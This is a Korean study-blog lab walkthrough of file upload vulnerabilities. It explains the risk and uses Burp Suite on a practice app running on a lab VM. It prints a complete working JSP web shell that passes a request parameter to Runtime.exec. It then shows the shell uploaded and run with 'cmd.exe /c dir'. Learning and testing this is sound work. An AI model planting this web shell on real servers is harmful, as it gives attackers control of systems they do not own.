겉바속촉

[보안] 파일 업로드 취약점 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] 파일 업로드 취약점

겉바속촉 2021. 2. 11. 02:02
728x90
반응형

 

 

 

파일 업로드 취약점 (= 위험한 형식 파일 업로드)

 

파일업로드 기능이 존재하는 경우 일반적으로는 다음과 같습니다.

 

 

1. 클라이언트 측 소스

<form enctype="multipart/form-data" method="post" ...>
	<input type="file" … >
</form>

 

2. 서버 측 소스

Multipart****  형태의 객체를 이용해서 첨부 파일을 추출

 

 

 

 

 

파일 업로드 기능이 존재하는 경우

 

  • 파일 크기와 개수, 종류를 검증, 제한하지 않고 외부에서 접근 가능한 경로에 업로드 파일을 저장하는 경우 발생

 

 

 

파일의 크기와 개수를 제한하지 않으면 어떻게 될까요??

 

  • 서버의 연결 자원과 디스크 자원을 고갈시켜 정상적인 서비스를 방해하게 됩니다.

 

 

파일의 종류를 제한하지 않으면 어떻게 될까요?

 

  • 서버에서 실행 가능한 파일 업로드 후 그 파일을 실행합니다. --> 웹 쉘(web shell) --> 서버의 제어권을 탈취!!
  • 이것이 가능하려면 전제되는 것이 외부에서 접근 가능한 경로에 업로드 파일이 저장되어야합니다.
  • 클라이언트에서 실행될 수 있는 파일을 업로드 후 블특정 다수가 다운로드하도록 유도
       --> 그럼 서버는 결국 악성코드 유포지로 악용될 수 있음.

 

   WebShell (웹쉘)

  • SSS (Server-Side Script) = PHP, ASP, JSP, ...
  • 1개의 파일로 구성
  • OS Command Injection 공격을 편하게 수행할 수 있도록 구성

 

 

 

 


 

 

 

@Attacker 가상머신

 

http://winxp:8080/openeg 접속 > admin / openeg 로그인 > (Proxy 활성화) > 게시판에 글쓰기

 

 

1. http://winxp:8080/openeg 접속

 

 

 

2. admin / openeg 로그인

 

 

 

 

3. 쓰기를 누른 상태에서 버프슈트의 Intercept On

 

 

 

 

4. 제목, 내용, 파일 첨부까지 마친 후에 확인 클릭

 

 

 

 

 

5. 버프슈트 프록시 확인!!

 

 

자세히 살펴보면 multipart form이라는 것을 알 수 있습니다.

boundary 사이사이에 각각의 data들이 존재하며,

첨부한 파일의 이름, 형식, 내용까지 모두 나와있쥬!!

 

 

 

 

그렇다면 이제!!!!! 웹 쉘 업로드를 통한 서버 제어권을 탈취해보겠습니다:)

 

 

 

 

웹 쉘 업로드를 통한 서버 제어권을 탈취

 

 

 

 

1. 프록시탭에서 intercept off로 해주기

 

2. 사이트로 가서 로그인 후 게시판으로 가주기

 

 

 

 

3. 게시판에 이미지를 첨부해서 글쓰기

 

 

 

 

 

4. 게시판 내용 보기를 했을 때 첨부한 이미지가 출력되는 것을 확인

 

 

 

 

 

 

5. 개발자도구를 활용해서 이미지 파일의 저장 위치 확인

 

 

F12를 눌러준 후에 사진을 클릭하면 페이지 소스 보기에서 src를 봐주세요:)

그러면 ../ 를 볼 수 있습니다.

 

 

 

현재 리눅스에서 게시판 상세 페이지 주소는 다음과 같습니다.

http://winxp:8080/openeg/board/view.do?idx=2

 

view.do에 해당하는 데요

 

이것의 상위이기 때문에 openeg아래에 있는 것입니다.

그래서 이미지 경로는 openeg아래의 files아래에 있다는 것을 알 수 있습니다.

 

그렇다면 이미지 태그에 있는 상대주소를 절대주소로 변경해보겠습니다.

이 주소로 접근해볼게요.

 

http://winxp:8080/openeg/files/gutbasokchock.jpg

 

이미지가 바로 나와버리쥬??

 

 

 

이것을 보고 외부에서 접근이 가능한 경로에 해당 파일이 존재한다고 하는 것입니다!!!!!!!!!!!!


다른 말로 하면 Web Root 혹은 Web Document Root 아래에 위치한다 고 하는 것입니다.

 

url 상의 주소의 기준이 되는 디렉터리가 바로 web root입니다.

 

 

 

 

 

 

 

 

@Attacker 가상머신에 webshell.jsp 파일을 생성

┌──(kali㉿kali)-[~]

└─$ sudo vi webshell.jsp

 

<%@ page import="java.util.*,java.io.*"%>

<HTML><BODY>
<FORM METHOD="GET" NAME="webshell" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

 

Runtime.getRuntime().exec(request.getParameter("cmd"))

 

--> 운영체제 명령어를 실행하는 부분

--> 파라미터로 넘어온 값을 실행시키는 부분이 됩니다.

 

 

 

 

 

1. webshell.jsp 파일을 첨부해서 게시판에 글쓰기

 

 

 

 

 

2. 업로드 되어있는 Webshell글을 클릭해주기

 

아무것도 안나오는 것을 확인할 수 있습니다.이미지가 아니기 때문이죠!!

 

 

 

하지만 우리는 주소를 알고 있습니다.

 

어떻게요??? F12를 눌러서요!!!

 

 

현재 페이지 주소 : http://winxp:8080/openeg/board/view.do?idx=3

이미지의 예상되는 주소 : http://winxp:8080/openeg/files/webshell.jsp

 

 

 

 

3. 예상되는 주소로 들어가주기

 

 

아까 만들었던 webshell.jsp 파일의 코드는 다음 보이는 input창에다가 입력해준 내용이

서버에서 실행되고 그 실행된 내용이 출력되도록 한 것입니다:)

 

 

4. cmd.exe /c dir 을 입력해보기

 

 

이것이 바로 운영체제 명령어 삽입이라는 것입니다.이 운영체제 명령어 삽입이 이루어질 수 있는 것은

업로드라는 기능을 이용해서 웹쉘을 올렸기 때문입니다.

 

winxp의 디렉터리 구조가 다음과 같이 나오고 있습니다.

서버에서 실행할 수 있는 명령어들을 입력하면 다음과 같이 출력이 되는 것이쥬!!

 

이게 바로 업로드 취약점을 이용한 것입니다.

 

 

 

 

이러한 취약점이 있으면 가장 먼저 하는 것이 webshell을 올리는 것입니다:)

 

webshell이 실행됨으로써 해당 서버를 손쉽게 제어할 수 있게 됩니다.

 

 

 

 

 

 

 

728x90
반응형